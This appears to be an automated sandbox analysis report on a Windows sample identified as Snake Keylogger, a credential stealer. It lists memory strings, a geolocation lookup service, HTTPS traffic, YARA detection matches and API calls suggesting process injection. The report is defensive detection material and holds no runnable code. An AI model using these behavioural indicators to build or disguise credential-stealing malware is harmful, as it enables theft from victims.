Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000256D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000333C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002971000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.000000000323D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000004374000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003367000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003367000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003321000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06671138 NtResumeThread,	0_2_06671138
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06671131 NtResumeThread,	0_2_06671131
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658FEA0 NtProtectVirtualMemory,	0_2_0658FEA0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658FE98 NtProtectVirtualMemory,	0_2_0658FE98
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFFEA0 NtProtectVirtualMemory,	3_2_05CFFEA0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFFE98 NtProtectVirtualMemory,	3_2_05CFFE98
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE1138 NtResumeThread,	3_2_05DE1138
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE1131 NtResumeThread,	3_2_05DE1131
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656FEA0 NtProtectVirtualMemory,	9_2_0656FEA0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656FE98 NtProtectVirtualMemory,	9_2_0656FE98
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F1138 NtResumeThread,	9_2_065F1138
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F1131 NtResumeThread,	9_2_065F1131

Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_016322F2	0_2_016322F2
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01630A58	0_2_01630A58
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01630D1B	0_2_01630D1B
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01638C48	0_2_01638C48
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0163D1D8	0_2_0163D1D8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0163169E	0_2_0163169E
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01631FE0	0_2_01631FE0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01632081	0_2_01632081
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01638A18	0_2_01638A18
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01630D62	0_2_01630D62
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01630DD9	0_2_01630DD9
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01638C38	0_2_01638C38
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_016312D4	0_2_016312D4
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0163179D	0_2_0163179D
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01639660	0_2_01639660
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_01639670	0_2_01639670
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_064D0048	0_2_064D0048
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0655142C	0_2_0655142C
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0655BCE0	0_2_0655BCE0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06550040	0_2_06550040
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0655BCD0	0_2_0655BCD0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06555398	0_2_06555398
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_065553A8	0_2_065553A8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06550006	0_2_06550006
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0655A8D0	0_2_0655A8D0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0655A8C0	0_2_0655A8C0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658E7E2	0_2_0658E7E2
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658AFA8	0_2_0658AFA8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658FC18	0_2_0658FC18
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658D0B8	0_2_0658D0B8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06584958	0_2_06584958
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658E5D0	0_2_0658E5D0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658E215	0_2_0658E215
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_065886B9	0_2_065886B9
